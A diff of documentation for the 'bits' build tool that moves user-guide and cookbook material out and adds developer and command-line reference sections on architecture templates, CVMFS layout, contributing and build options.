Enter a sub-shell with modules loaded - -```bash -bits enter ROOT/latest -# A new sub-shell opens with ROOT and all its dependencies in PATH etc. -exit # return to your normal shell -``` - -`bits enter` sets the shell prompt to `[MODULE] \w $>` (or equivalent for zsh/ksh) so it is always clear when inside a bits environment. Nesting `bits enter` inside another bits environment is blocked. - -| Option | Description | -|--------|-------------| -| `--shellrc` | Source your shell startup file (`.bashrc`, `.zshrc`, etc.) in the new shell. By default startup files are suppressed to prevent environment conflicts. | -| `--dev` | Instead of loading modules through `modulecmd`, source each package's `etc/profile.d/init.sh` directly. Intended for development work. Appends `(dev)` to the shell prompt. | - -The shell type is auto-detected from the parent process. Override it with the `MODULES_SHELL` environment variable (accepts `bash`, `zsh`, `ksh`, `csh`, `tcsh`, `sh`). - -### Load / unload in the current shell - -```bash -# Integrate once in ~/.bashrc or ~/.zshrc: -BITS_WORK_DIR=/path/to/sw -eval "$(bits shell-helper)" - -# Then in any shell session: -bits load ROOT/latest # adds ROOT to the current environment -bits unload ROOT # removes it (version can be omitted) -bits list # show currently loaded modules -bits q [REGEXP] # list available modules, optionally filtered -``` - -Without `shell-helper` you must use `eval` manually: - -```bash -eval "$(bits load ROOT/latest)" -eval "$(bits unload ROOT)" -``` - -Pass `-q` to either command to suppress the informational message on stderr. - -### Run a single command in a module environment - -```bash -bits setenv ROOT/latest -c root -b -# Everything after -c is executed as-is; the exit code is preserved. -``` - -`bits setenv` loads the modules into the current process environment and then `exec`s the command — no new shell is spawned. - -### Inspect and manage modules - -```bash -bits q [REGEXP] # list available modules, filtered by optional regex -bits list # list currently loaded modules -bits avail # raw modulecmd avail output -bits modulecmd zsh load ROOT/latest # pass arguments directly to modulecmd -``` - -### Shell helper - -Add the following to your `.bashrc`, `.zshrc`, or `.kshrc` so that `bits load` and `bits unload` modify the current shell's environment without requiring an explicit `eval`: - -```bash -BITS_WORK_DIR=/path/to/sw -eval "$(bits shell-helper)" -``` - ---- - -## 7. Cleaning Up - -Bits provides two distinct cleaning subcommands for different scenarios. - -### bits clean — remove temporary build artifacts - -```bash -bits clean [options] -``` - -| Option | Description | -|--------|-------------| -| `-w DIR` | Work directory to clean. Default: `sw`. | -| `-a ARCH` | Restrict to this architecture. | -| `--aggressive-cleanup` | Also remove source mirrors and `TARS/` content. | -| `-n`, `--dry-run` | Show what would be removed without deleting. | - -The default (non-aggressive) clean removes the `TMP/` staging area, stale `BUILD/` directories (those without a `latest` symlink), and stale versioned installation directories. Aggressive cleanup additionally removes source mirrors and `TARS/` content. Use `bits clean` after temporary or experimental builds to reclaim disk space without affecting the persistent package cache. - -### bits cleanup — evict packages from a persistent workDir - -`bits cleanup` manages a long-lived, shared workDir by evicting packages that have not been used recently or when disk space falls below a threshold. It is intended for **persistent CI build caches** where packages accumulate over time. - -```bash -bits cleanup [options] -``` - -| Option | Default | Description | -|--------|---------|-------------| -| `-w DIR`, `--work-dir DIR` | `sw` | workDir to manage. | -| `-a ARCH`, `--architecture ARCH` | auto-detected | Architecture to evict packages for. | -| `--max-age DAYS` | `7.0` | Evict packages whose sentinel has not been touched in more than `DAYS` days. Set to `0` to disable age-based eviction. | -| `--min-free GIB` | _(none)_ | Evict the least-recently-used packages until at least `GIB` GiB of free disk space is available on the workDir filesystem. | -| `--disk-pressure-only` | — | Run only the disk-pressure eviction pass; skip age-based eviction regardless of `--max-age`. Useful as a pre-build guard. | -| `-n`, `--dry-run` | — | Show which packages would be evicted without removing anything. | - -**How it works.** Every time a package is built or confirmed already installed, bits touches a *sentinel file* at `$WORK_DIR/.packages///`. The `cleanup` command reads these sentinels, sorts packages by last-touched time (oldest first), and evicts those that are too old or that need to be removed to recover disk space. A package whose sentinel is locked by an in-progress build is always skipped safely. - -**Typical usage patterns:** - -```bash -# Pre-build: free space if below 50 GiB, evicting LRU packages first -bits cleanup --min-free 50 --disk-pressure-only || true - -# Nightly cron: evict packages not used in 7 days -bits cleanup --max-age 7 - -# See what would be removed without touching anything -bits cleanup --max-age 3 --min-free 100 --dry-run -``` - ---- - -## 8. Cookbook - -### Build a complete stack from scratch - -```bash -bits doctor ROOT # verify system requirements first -bits build ROOT # build everything -bits enter ROOT/latest # drop into the built environment -``` - -### Develop and iterate on a single package - -```bash -bits init libfoo # create a writable source checkout -# … edit source in the libfoo/ directory … -bits build libfoo # rebuilds only libfoo (devel mode) -eval "$(bits load libfoo/latest)" -``` - -### Set up a project with a persistent binary store - -Instead of passing `--remote-store` on every `bits build` invocation, write it once with `bits init` (no package name): - -```bash -# One-time setup — writes bits.rc in the current directory -bits init --remote-store https://store.example.com/store \ - --write-store b3://mybucket/store \ - --organisation MYORG - -# Every subsequent invocation picks up the settings automatically -bits build ROOT -``` - -To check what will be written before touching the file system, add `--dry-run`. To update a single key in an existing `bits.rc` without replacing the whole file, add `--append`. - -### Debug a failed build - -```bash -bits build --debug --keep-tmp my_package -# Build directory path is printed in the log -cd sw/BUILD/my_package-*/ -cat log -# Re-run the failing command manually to iterate quickly -``` - -### Share pre-built artifacts over S3 - -```bash -# CI: build and upload (boto3 backend; ::rw sets both --remote-store and --write-store) -export AWS_ACCESS_KEY_ID=ci-key -export AWS_SECRET_ACCESS_KEY=ci-secret -bits build --remote-store b3://mybucket/bits-cache::rw ROOT - -# Developer workstation: fetch from the same cache, never upload -bits build --remote-store b3://mybucket/bits-cache ROOT -``` - -See [§21](#21-remote-binary-store-backends) for the full list of backends (HTTP, S3, boto3, rsync, CVMFS) and detailed CI/CD patterns. - -### Parallel build with the Python scheduler - -```bash -# Build up to 4 independent packages simultaneously, each using 8 cores -bits build --builders 4 --jobs 8 my_large_stack -``` - -The built-in Python scheduler dispatches packages as soon as their dependencies are satisfied. See [§5 Parallel build modes](#parallel-build-modes) for resource-aware scheduling with `--resources`. - -### Parallel build with Makeflow - -```bash -# Hand the dependency graph to the Makeflow workflow engine -bits build --makeflow my_large_stack - -# Inspect what Makeflow generated (useful if a build fails) -cat sw/BUILD/*/makeflow/Makeflow -cat sw/BUILD/*/makeflow/log -``` - -Makeflow must be installed separately from the [CCTools](https://ccl.cse.nd.edu/software/) suite. It automatically parallelises across all packages where the dependency graph permits. - -### Pipelined build with overlapping upload (Makeflow + pipeline) - -```bash -# Overlap tarball upload with downstream builds; prefetch tarballs 4 at a time -bits build --makeflow --pipeline \ - --write-store b3://mybucket/store \ - --prefetch-workers 4 \ - my_large_stack -``` - -`--pipeline` splits each package's Makeflow rule into `.build` / `.tar` / `.upload` stages so that upload of package *A* can overlap with the build of package *B*. `--prefetch-workers` hides network latency by downloading remote tarballs in the background before the build loop needs them. See [§5 Async pipeline options](#--pipeline----pipelined-tarball-creation-and-upload-makeflow-only) for full details. - -### Speed up source downloads - -```bash -# Download up to 4 source archives in parallel within each package -bits build --parallel-sources 4 my_large_stack -``` - -Useful when a package lists several large `sources:` URLs. Failed downloads still abort the build immediately. - -### Build for a different Linux version (Docker) - -```bash -bits build --docker --architecture ubuntu2004_x86-64 ROOT -``` - -### Generate a dependency graph - -```bash -bits deps --outgraph deps.pdf ROOT # requires Graphviz -``` - -### Run a single command in the built environment - -```bash -bits setenv ROOT/v6-30 -c root -b -``` - -Use `bits setenv` to execute a single command (with optional arguments) in the built environment without spawning an interactive shell. The target module must be installed first. Exit code and output pass through unchanged. - -### Load modules persistently into the current shell - -Add to `~/.bashrc`, `~/.zshrc`, or `~/.kshrc`: - -```bash -BITS_WORK_DIR=/path/to/sw -eval "$(bits shell-helper)" -``` - -Then in any new shell session: - -```bash -bits load ROOT/latest # load into current shell -bits unload ROOT # unload from current shell -``` - -The `bits shell-helper` function modifies the current shell's environment directly without requiring an explicit `eval`. Combine with multiple modules: `bits load ROOT/latest,Python/3.11-1`. - -### Override a package version without editing the recipe - -Defaults profiles can pin package versions globally without modifying recipe files: - -```yaml -# In defaults-myproject.sh -overrides: - ROOT: - version: "6-30-06" -``` - -Then build with: - -```bash -bits build --defaults release::myproject MyStack -``` - -This is useful for shared recipes where different projects need different versions, or for emergency pinning when a new version breaks downstream packages. - -### Enforce reproducible source downloads with checksums - -First, compute and write checksums for all sources: - -```bash -bits build --write-checksums MyPackage -``` - -This creates or updates `checksums/MyPackage.checksum` in the recipe directory. Then enforce them on all future builds: - -```bash -bits build --enforce-checksums MyPackage -``` - -Or make it the site default in a defaults profile: - -```yaml -# defaults-production.sh -checksum_mode: enforce -``` - -Any mismatch or missing checksum will abort the build, catching supply-chain tampering or silent mirror corruption. - -### Build memory-hungry packages without exhausting RAM +> **See also:** [User Guide](USERGUIDE.md) · [Cookbook](COOKBOOK.md) · [Workflows](WORKFLOWS.md) · [Roadmap](ROADMAP.md) -For packages with large parallel builds that risk OOM, limit concurrent builds and/or specify per-package resource budgets: - -```bash -# Option 1: reduce concurrent package builds -bits build --builders 1 --jobs 8 my_stack - -# Option 2: use a resource file -bits build --builders 4 --resources my_resources.json my_stack -``` - -Where `my_resources.json` declares expected CPU and memory per package: - -```json -{ - "gcc": {"cpu": 4, "rss_mb": 1024}, - "llvm": {"cpu": 8, "rss_mb": 4096} -} -``` - -The Python scheduler will not start a new build unless the declared resources are free, preventing overcommit. - -### Use a private recipe repository alongside the defaults - -Set `BITS_PATH` to prepend a custom repository to the search path: - -```bash -BITS_PATH=myorg.bits bits build MyPackage -``` - -Or configure it persistently: - -```bash -bits init --config-dir myorg.bits MyPackage -``` - -This is useful for building private packages that depend on public recipes, or for maintaining a vendor-specific overlay (e.g. a fork of `gcc` with custom patches) without modifying the main recipe repository. - -### CI/CD: build and publish only on the main branch - -Use conditional logic in CI to upload binaries only for production builds: - -```bash -if [ "$CI_COMMIT_BRANCH" = "main" ]; then - bits build --write-store b3://mybucket/store::rw MyStack -else - # Feature branches: build locally but do not publish - bits build MyStack -fi -``` - -The `::rw` suffix sets both `--remote-store` and `--write-store` (if already configured). For more control, use separate variables: +## Table of Contents -```bash -if [ "$CI_COMMIT_BRANCH" = "main" ]; then - WRITE_STORE="b3://mybucket/store" -else - WRITE_STORE="" -fi +> **Note:** Sections §§1–7 (Introduction through Cleaning Up) are in [USERGUIDE.md](USERGUIDE.md). This document covers developer and technical reference material starting from §9. -bits build --remote-store b3://mybucket/store --write-store "$WRITE_STORE" MyStack -``` +### Part I — Developer Guide +9. [Architecture Overview](#9-architecture-overview) +10. [Setting Up a Development Environment](#10-setting-up-a-development-environment) +11. [Key Source Files](#11-key-source-files) +12. [Writing Recipes](#12-writing-recipes) +13. [Repository Provider Feature](#13-repository-provider-feature) +14. [Writing and Running Tests](#14-writing-and-running-tests) +15. [Contributing](#15-contributing) -This ensures PR builds download cached binaries but never pollute the production store. +### Part II — Technical Reference +16. [Command-Line Reference](#16-command-line-reference) + - [Work Directory Layout](#work-directory-layout) +17. [Recipe Format Reference](#17-recipe-format-reference) +18. [Defaults Profiles](#18-defaults-profiles) + - [Forcing or Dropping the Revision Suffix](#forcing-or-dropping-the-revision-suffix-force_revision) +19. [Architecture-Independent (Shared) Packages](#19-architecture-independent-shared-packages) +20. [Environment Variables](#20-environment-variables) +21. [Remote Binary Store Backends](#21-remote-binary-store-backends) +22. [Docker Support](#22-docker-support) + - [§22.1 Recipe Sandbox](#221-recipe-sandbox) + - [§22.2 Cross-compilation via QEMU](#222-cross-compilation-via-qemu) +23. [bits verify — Deployment Verification](#23-bits-verify--deployment-verification) +24. [Design Principles & Limitations](#24-design-principles--limitations) +25. [Build Manifest](#25-build-manifest) +26. [CVMFS Publishing Pipeline](#26-cvmfs-publishing-pipeline) --- - -# Part II — Developer Guide +# Part I — Developer Guide ## 9. Architecture Overview @@ -834,6 +59,61 @@ bits (Bash) └─ ... ``` +### Architecture string and the `architecture:` template + +The architecture string (e.g. `ubuntu2510_x86-64`) names install dirs, tarballs, +store paths and Docker images. By default it is auto-detected by `doDetectArch` +as `%(os)s_%(machine)s`. A defaults file (typically `defaults-release.sh`) may +override the *layout* with an `architecture:` field — either a literal string or +a template using these `%(...)s` keys (same substitution syntax as recipe +sources): + +| key | example | notes | +| ------------ | ----------- | -------------------------------------- | +| `%(os)s` | `ubuntu2510`| distro + version (or `osx`) | +| `%(machine)s`| `x86-64` | bits-canonical dashed CPU form | +| `%(_machine)s`| `x86_64` | uname/underscore CPU form | + +```yaml +# defaults-release.sh +architecture: %(os)s_%(_machine)s # -> ubuntu2510_x86_64 +# architecture: %(_machine)s-%(os)s # -> x86_64-ubuntu2510 +# architecture: ubuntu2510_x86-64 # literal, no substitution +``` + +Precedence: an explicit `--architecture` on the command line always wins and the +template is ignored; otherwise the template (if any) is rendered against the +detected platform; with neither, the auto-detected default stands. Architecture +recognition (`matchValidArch`), the Docker builder-image name and the S3 cache +lookup all match by content — the distro and CPU tokens — independently of order +and of the `x86-64`/`x86_64` separator, so custom layouts work without +`--force-unknown-architecture`. + +### CVMFS layout + +A defaults profile (typically `defaults-release.sh`) may declare where a build's +packages and modulefiles live on CVMFS, so the build / publish / reuse paths are +derived from one place instead of repeated CLI flags. Three optional, templated +fields (templates may use `%(architecture)s`, the effective combined arch): + +```yaml +cvmfs_dir: /cvmfs/sft.cern.ch/lcg/releases # CVMFS root +install_dir: %(architecture)s/Packages # relative to cvmfs_dir +module_dir: %(architecture)s/modules # relative to cvmfs_dir +``` + +bits resolves these to `install_path` / `module_path` and uses them to default: + +- **docker build:** `--cvmfs-prefix` ← `/`, so packages + compile at their final CVMFS prefix and relocation on publish is a no-op + (explicit `--cvmfs-prefix` still wins); +- **reuse:** with `--reuse-cvmfs`, `--remote-store` ← `cvmfs://`, so + already-deployed components are reused via the `CVMFSRemoteSync` store (which + matches a deployed package's recorded `.build-hash`/`.meta.json` against the + hash bits computes — reuse happens only on a hash match). + +Builds that don't set any of these fields are unaffected. + ### Build pipeline (inside `doBuild`) ``` @@ -985,137 +265,7 @@ For the complete list of YAML header fields and build-time environment variables ### Function-based recipes with bits-recipe-tools -The `bits-recipe-tools` package (available at `https://github.com/bitsorg/bits-recipe-tools`) provides a higher-level recipe authoring style built around reusable shell function hooks. Instead of writing a flat Bash build script, the recipe author overrides only the steps that differ from the standard template. - -#### How it works - -`build_template.sh` sources the compiled recipe script and then calls a function named `Run` if one is defined: - -```bash -source "$WORK_DIR/SPECS/.../PackageName.sh" && \ - [[ $(type -t Run) == function ]] && Run "$@" -``` - -`bits-recipe-tools` ships include files — `CMakeRecipe`, `AutoToolsRecipe`, and others — each of which defines a `Run()` function that orchestrates the build in terms of five lifecycle hooks: - -| Hook | Default behaviour | -|------|-------------------| -| `Prepare()` | Sets up the build directory and any pre-configure steps. | -| `Configure()` | Runs `cmake` (or `./configure`) with standard flags. | -| `Make()` | Runs `make -j$JOBS` (or `cmake --build`). | -| `MakeInstall()` | Runs `make install` (or `cmake --install`). | -| `PostInstall()` | Runs any post-install fixups (e.g. removing libtool archives). | - -A recipe overrides only the hooks it needs to customise; all others run with sensible defaults. - -#### MODULE_OPTIONS — controlling modulefile generation - -When using `bits-recipe-tools`, the variable `MODULE_OPTIONS` controls how the Environment Modules modulefile is generated for the package. It must be set **before** sourcing the include file so that the `PostInstall()` hook picks it up: - -```bash -MODULE_OPTIONS="--bin --lib" -. $(bits-include CMakeRecipe) -``` - -`MODULE_OPTIONS` is a space-separated list of flags. Each flag causes `bits-recipe-tools` to add a specific entry to `$INSTALLROOT/etc/modulefiles/$PKGNAME`: - -| Flag | Effect on the modulefile | -|------|--------------------------| -| `--bin` | Prepends `$INSTALLROOT/bin` to `PATH`. | -| `--lib` | Prepends `$INSTALLROOT/lib` to `LD_LIBRARY_PATH`. | -| `--cmake` | Adds `$INSTALLROOT` to `CMAKE_PREFIX_PATH`. | -| `--root` | Defines the variable `ROOT_` (uppercased package name) as `$INSTALLROOT`. | - -Flags can be combined freely. Omitting `MODULE_OPTIONS` entirely causes the helper to use its built-in defaults, which is usually appropriate for standard library packages. - -```bash -# A typical compiled library: export bin, lib, and the ROOT variable -MODULE_OPTIONS="--bin --lib --root" -. $(bits-include CMakeRecipe) - -# A CMake-only build tool: just add to CMAKE_PREFIX_PATH -MODULE_OPTIONS="--cmake" -. $(bits-include CMakeRecipe) - -# A header-only library: CMake discovery and the ROOT variable, no runtime paths -MODULE_OPTIONS="--cmake --root" -. $(bits-include CMakeRecipe) -``` - -#### Loading an include file - -The `bits-include` helper command resolves an include file shipped by `bits-recipe-tools` and returns its absolute path, which the recipe then sources with `.`: - -```bash -. $(bits-include CMakeRecipe) -``` - -`bits-recipe-tools` must be listed as a `build_requires` of the recipe. - -#### Example — header-only CMake library (cppgsl) - -```yaml -package: cppgsl -version: "4.0.0" -source: https://github.com/microsoft/GSL.git -tag: "v4.0.0" -build_requires: - - cmake - - bits-recipe-tools ---- -# Header-only library: add to CMAKE_PREFIX_PATH and define ROOT_CPPGSL. -MODULE_OPTIONS="--cmake --root" -. $(bits-include CMakeRecipe) - -# Override only the Configure step to disable tests. -Configure() { - cmake -S "$SOURCEDIR" -B "$BUILDDIR" \ - -DCMAKE_INSTALL_PREFIX="$INSTALLROOT" \ - -DGSL_TEST=OFF \ - -DCMAKE_BUILD_TYPE=Release -} -``` - -`CMakeRecipe` provides the `Run()` dispatcher and default `Prepare`, `Make`, `MakeInstall`, and `PostInstall` implementations. The recipe above overrides only `Configure()` to pass the `-DGSL_TEST=OFF` flag; everything else is inherited from the template. `MODULE_OPTIONS` is set before sourcing the include so the `PostInstall()` step uses it when generating the modulefile. - -#### Example — Autotools library - -```yaml -package: libfoo -version: "1.4.2" -source: https://example.com/libfoo.git -tag: "v1.4.2" -build_requires: - - autotools - - bits-recipe-tools ---- -. $(bits-include AutotoolsRecipe) - -# The default Configure() runs: -# "$SOURCEDIR/configure" --prefix="$INSTALLROOT" -# Override it to add custom options. -Configure() { - "$SOURCEDIR/configure" \ - --prefix="$INSTALLROOT" \ - --enable-shared \ - --disable-static -} -``` - -#### Writing a recipe without an include file - -The function pattern works without `bits-recipe-tools` too. Any recipe may define a `Run()` function directly: - -```bash -Run() { - cmake -S "$SOURCEDIR" -B "$BUILDDIR" \ - -DCMAKE_INSTALL_PREFIX="$INSTALLROOT" - cmake --build "$BUILDDIR" --parallel "$JOBS" - cmake --install "$BUILDDIR" -} -``` - -This is equivalent to a flat script but is sometimes clearer when the build needs multiple named phases. +The optional [`bits-recipe-tools`](https://github.com/bitsorg/bits-recipe-tools) package provides a higher-level authoring style using reusable shell function hooks (`CMakeRecipe`, `AutoToolsRecipe`, etc.). Instead of writing a flat Bash build script, you override only the lifecycle hooks that differ from the defaults (`Prepare`, `Configure`, `Make`, `MakeInstall`, `PostInstall`). See the [Cookbook — Using bits-recipe-tools](COOKBOOK.md#using-bits-recipe-tools) for worked examples. --- @@ -1125,7 +275,7 @@ A **repository provider** is a recipe that, instead of describing a software pac ### Why it exists -Normally the set of recipe repositories (`*.bits` directories) is fixed at startup via `BITS_PATH` / `search_path`. The repository provider feature lets a recipe itself pull in an additional recipe repository from git, enabling modular recipe sets and nested providers. +Normally the set of recipe repositories (`*.bits` directories) is fixed at startup via the `BITS_PATH` environment variable. The repository provider feature lets a recipe itself pull in an additional recipe repository from git, enabling modular recipe sets and nested providers. ### Defining a repository provider @@ -1394,7 +544,7 @@ tox -e darwin # reduced matrix for macOS | `test_git.py` | Git SCM wrapper | | `test_pkg_to_shell_id.py` | `pkg_to_shell_id` sanitisation (dots, dashes, `@`, `+`); `generate_initdotsh` export correctness for dot-in-package-name | | `test_provider_staleness.py` | Mirror always refreshed when cache exists; upstream tag advances detected; `fetch_repos=False` respected on first run | -| `test_qualify_arch.py` | `compute_combined_arch`, `qualify_arch` end-to-end through `effective_arch`, install path, and `init.sh` generation | +| `test_qualify_arch.py` | `compute_combined_arch`: legacy `qualify_arch` and new per-default `append_arch`; end-to-end through `effective_arch`, install path, and `init.sh` generation | | `test_repo_provider.py` | Repository provider: `getConfigPaths` absolute paths, `_add_to_bits_path`, `clone_or_update_provider` caching, iterative discovery, nested providers, hash propagation | | `test_sync.py` | Remote store backends (requires `botocore` for S3 tests) | @@ -1408,16 +558,38 @@ tox -e darwin # reduced matrix for macOS ## 15. Contributing -- The main development branch is `main`. -- All tests must pass before a pull request is merged. -- Follow the code style enforced by `.flake8` and `.pylintrc`. -- Write docstrings for new public functions. -- Update this document (REFERENCE.md) when changing any user-facing behaviour, CLI options, or recipe fields. -- The project is licensed under the terms in `LICENSE.md`. +### Workflow + +- Open an issue at `https://github.com/bitsorg/bits/issues` before starting non-trivial work so effort isn't duplicated. +- Fork the repository, create a feature branch from `main`, and open a pull request when ready. +- All tests must pass (`tox` on Linux, `tox -e darwin` on macOS) before a PR is merged. +- The main development branch is `main`; do not target `stable` or release branches directly. + +### Code style + +- Follow the code style enforced by `.flake8` and `.pylintrc`; run both before pushing. +- Write docstrings for all new public functions and classes. +- Prefer small, focused commits; each commit should leave the test suite green. + +### Which document to update + +| What changed | Update | +|---|---| +| Installation, quick start, configuration, `bits enter/load/clean` usage | `docs/USERGUIDE.md` | +| Practical how-to examples for common tasks | `docs/COOKBOOK.md` | +| CLI flags, recipe YAML fields, environment variables, architecture/store/Docker internals | `docs/REFERENCE.md` (this file) | +| End-to-end development-to-CVMFS workflow | `docs/WORKFLOWS.md` | +| Planned features, design decisions, known limitations | `docs/ROADMAP.md` | + +When a change affects the public CLI (new flag, renamed option, changed default), also update the relevant entry in §16 Command-Line Reference and the short description in README.md. + +### License + +The project is licensed under the terms in `LICENSE.md`. --- -# Part III — Reference Guide +# Part II — Technical Reference ## 16. Command-Line Reference @@ -1446,13 +618,22 @@ bits build [options] PACKAGE [PACKAGE ...] | Option | Description | |--------|-------------| | `--defaults PROFILE` | Defaults profile(s); use `::` to combine (e.g. `release::myproject`). Default: `release`. | -| `-a ARCH`, `--architecture ARCH` | Target architecture. Default: auto-detected. | +| `--flavour NAME[=VALUE]` | Set a build-wide flavour variable (repeatable, comma-separated). `NAME`→`true`, `NAME=VALUE`→`VALUE`, `!NAME`→`false`. Gates `(?NAME)` conditional requires/sources/patches and is exported into the build environment; overrides a defaults `variables:` entry of the same name. See [Flavours](#flavours). | +| `--reuse-cvmfs` | Reuse already-deployed components from the defaults `cvmfs_dir:` area: sets `--remote-store cvmfs://` when no store is given. See [CVMFS layout](#cvmfs-layout). | +| `-a ARCH`, `--architecture ARCH` | Target architecture. Default: auto-detected, or the `architecture:` template from defaults (see [§9](#9-architecture-overview)). An explicit value here overrides the template. | | `--force-unknown-architecture` | Proceed even if architecture is unrecognised. | | `-j N`, `--jobs N` | Parallel compilation jobs per package. Default: CPU count. | -| `--builders N` | Packages to build simultaneously using the built-in Python scheduler. Default: 1 (serial). Mutually exclusive with `--makeflow`; if both are given, `--makeflow` takes precedence. | +| `--no-auto-patch` | Do not apply recipe `patches:` automatically for any package in this build. The patch files are still staged in `$SOURCEDIR` and exported as `$PATCH0..$PATCH_COUNT`, but each recipe must apply its own patches (e.g. via the `bits_apply_patches` helper). Default: patches are auto-applied. A single recipe can opt out with `auto_patch: false` in its header; a defaults profile can opt out with `auto_patch: false`. See [Controlling patch application](#controlling-patch-application). | +| `--builders N` | Packages to build simultaneously using the built-in Python scheduler. Default: 1 (serial). Mutually exclusive with `--makeflow`; if both are given, `--makeflow` takes precedence. With N>1, each build's `$JOBS` is divided across the builders (the CPU/load budget, see [Memory- and load-aware parallelism](#memory-aware-parallelism)) so the concurrent jobs together do not oversubscribe the machine. | +| `--build-nice` / `--no-build-nice` | Stagger the concurrent `--builders` jobs across OS scheduling priority so CPU contention degrades gracefully: at any moment one build runs at top priority (full speed) and the others are progressively backed off, with the freed top slot taken over as builds finish. Native builds are wrapped in `nice -n N`; `--docker`/podman builds get `docker run --cpu-shares=W` (each builder is a separate container/cgroup, so the host ranks the build *containers* by cgroup CPU weight). Memory is still capped separately via `mem_per_job`. **On by default** for `--builders > 1`; pass `--no-build-nice` to disable. | +| `--build-nice-step N` | Nice increment between concurrent build slots when `--build-nice` is set: slot *k* → nice `min(k×N, 19)`. `N=1` gives a gentle `0,1,2,3` ladder; larger values separate the slots more aggressively. Default: 5. | +| `--build-nice-boost-after SECONDS` | With `--build-nice`, a watchdog boosts a long-running straggler compile — one at a time — so a single heavy Fortran/C++ translation unit does not drag out the end of the build. Native builds: the longest-running niced-down build subtree is reniced toward 0 (requires privilege — root / `CAP_SYS_NICE` — and is a logged no-op otherwise). `--docker`/podman builds: each build runs in a named container (`bits-build--`); the watchdog peeks inside with `docker exec … ps`, finds a compiler back-end (cc1plus/f951/…) that has been running longer than this, and renices it with `docker exec --user 0 … renice` (run as root inside the container, so it can raise priority). **Requires `ps` (the `procps` package) in the build image** — see note below. `0` disables. Default: 600. | | `--makeflow` | Generate a [Makeflow](https://ccl.cse.nd.edu/software/makeflow/) workflow file from the dependency graph and execute it with the `makeflow` binary (must be installed separately from CCTools). Bits collects all pending builds, writes `sw/BUILD//makeflow/Makeflow`, then runs `makeflow` to execute the graph in parallel. Mutually exclusive with `--builders N`. | | `--pipeline` | Split each Makeflow rule into `.build`, `.tar`, and `.upload` stages so that tarball creation and upload can overlap with downstream builds. Requires `--makeflow`; silently ignored otherwise. | -| `--prefetch-workers N` | Spawn *N* background threads to fetch remote tarballs and source archives ahead of the main build loop. Default: 0 (disabled). No effect without `--remote-store`. | +| `--prefetch-workers N` | Spawn *N* background threads to fetch remote tarballs and source archives ahead of the main build loop, so downloads overlap with compilation instead of blocking the serial preparation pass. Default: `-1` (auto — scales with `--builders`, capped at 4); `0` disables. No effect without `--remote-store`. | +| `--parallel-downloads N` | Maximum concurrent source/tarball downloads the `--builders` scheduler runs as standalone download tasks (so a checkout overlaps the previous package's build). Default: 2. | +| `--auto-resources` | Opt-in measurement-driven scheduling for `--builders > 1`: auto-load the per-package CPU/RAM stats a previous run recorded (re-stamped for this machine) and enable monitoring to refresh them, so the scheduler only admits a new build when the machine still has budget. Off by default (concurrency is then bounded purely by `--builders`); explicit `--resources`/`--resource-monitoring` still take precedence. | +| `--brew` | **macOS only.** Let a recipe that sources a system library from Homebrew run `brew install ` on demand (during dependency resolution) when the formula is missing. Without it, such a recipe fails with a message naming the formula to install. Exported to recipe `prefer_system_check` scripts as `BITS_BREW=1`. See [macOS Homebrew system layer](#macos-homebrew-system-layer). | | `--parallel-sources N` | Download up to *N* `sources:` URLs concurrently within a single package checkout. Default: 1 (sequential). | | `-e KEY=VALUE` | Extra environment variable binding (repeatable). | | `-z PREFIX`, `--devel-prefix PREFIX` | Version prefix for development packages. | @@ -1471,24 +652,27 @@ bits build [options] PACKAGE [PACKAGE ...] | `--docker` | Build inside a Docker container. | | `--docker-image IMAGE` | Docker image to use. Implies `--docker`. | | `--docker-extra-args ARGS` | Extra arguments for `docker run`. | -| `--cvmfs-prefix PATH` | Bind-mount the workDir at `PATH` inside the container instead of the default `/container/bits/sw`. When set, packages compile with their final CVMFS paths already embedded so that `bits publish --no-relocate` can skip the relocation step. Requires `--docker`; has no effect without it. | -| `--container-use-workdir` | Mount the workDir at the same path inside the container (i.e. `container_workDir = workDir`). Useful when the host and container share the same filesystem namespace. Mutually exclusive with `--cvmfs-prefix`; if both are set `--cvmfs-prefix` takes precedence. | -| `--docker-platform PLATFORM` | Docker `--platform` argument for cross-compilation (e.g. `linux/arm64`, `linux/amd64`, `linux/ppc64le`). When not set, bits derives the platform automatically from `--architecture`: if the target differs from the host the matching platform is injected so QEMU emulates the target inside the builder container. Pass `native` to suppress automatic injection. Requires QEMU binfmt handlers on the Docker host. See [§22b Cross-compilation via QEMU](#22b-cross-compilation-via-qemu). | -| `--sandbox MODE` | Sandbox each recipe build script for extra isolation. `auto` (default): podman on Linux if available, `sandbox-exec` on macOS, nested podman inside Docker containers. `podman`: always use podman (requires `--docker` or `--sandbox-image`). `sandbox-exec`: macOS only. `off`: no sandboxing. See [§22a Recipe Sandbox](#22a-recipe-sandbox). | -| `--sandbox-image IMAGE` | Container image for `--sandbox=podman` when not using `--docker`. Implies `--sandbox=podman`. Defaults to the `--docker` image when `--docker` is set. | +| `--cvmfs-prefix PATH` | Bind-mount the workDir at `PATH` inside the container so packages compile with their final CVMFS paths embedded. Requires `--docker`. See [§22.1 Recipe Sandbox](#221-recipe-sandbox). | +| `--container-use-workdir` | Mount the workDir at the same absolute path inside the container. Mutually exclusive with `--cvmfs-prefix`. | +| `--docker-platform PLATFORM` | Docker `--platform` for cross-compilation (e.g. `linux/arm64`). Inferred automatically from `--architecture`; pass `native` to suppress. Requires QEMU binfmt handlers. See [§22.2 Cross-compilation via QEMU](#222-cross-compilation-via-qemu). | +| `--sandbox MODE` | Sandbox recipe builds: `auto` (default), `podman`, `sandbox-exec` (macOS), or `off`. See [§22.1 Recipe Sandbox](#221-recipe-sandbox). | +| `--sandbox-image IMAGE` | Container image for `--sandbox=podman` when not using `--docker`. | | `--force` | Rebuild even if the package hash already exists. | | `--keep-tmp` | Keep temporary build directories after success. | -| `--resource-monitoring` | Enable per-package CPU/memory monitoring. | +| `--resource-monitoring` | Enable per-package CPU/memory monitoring. **Default: on when `--builders` > 1**, off for serial builds. | +| `--no-resource-monitoring` | Disable per-package monitoring even when `--builders` > 1. | | `--resources FILE` | JSON resource-utilisation file for scheduling. | -| `--check-checksums` | Verify checksums declared in `sources`/`patches` entries during download; emit a warning on mismatch but continue the build. Overrides `checksum_mode:` in the active defaults profile. | -| `--enforce-checksums` | Verify checksums declared in `sources`/`patches` entries during download; abort the build on any mismatch or if a checksum is missing for a file. Overrides `checksum_mode:`. | -| `--print-checksums` | Compute and print checksums for all sources and patches in ready-to-paste YAML format **after** the build completes. Works for already-compiled packages (reads from the download cache). Overrides `checksum_mode:`. | -| `--write-checksums` | Write (or update) `checksums/.checksum` in the recipe directory **after** the build completes. Works for already-compiled packages. Also records the pinned git commit SHA for `source:` + `tag:` packages. Overrides 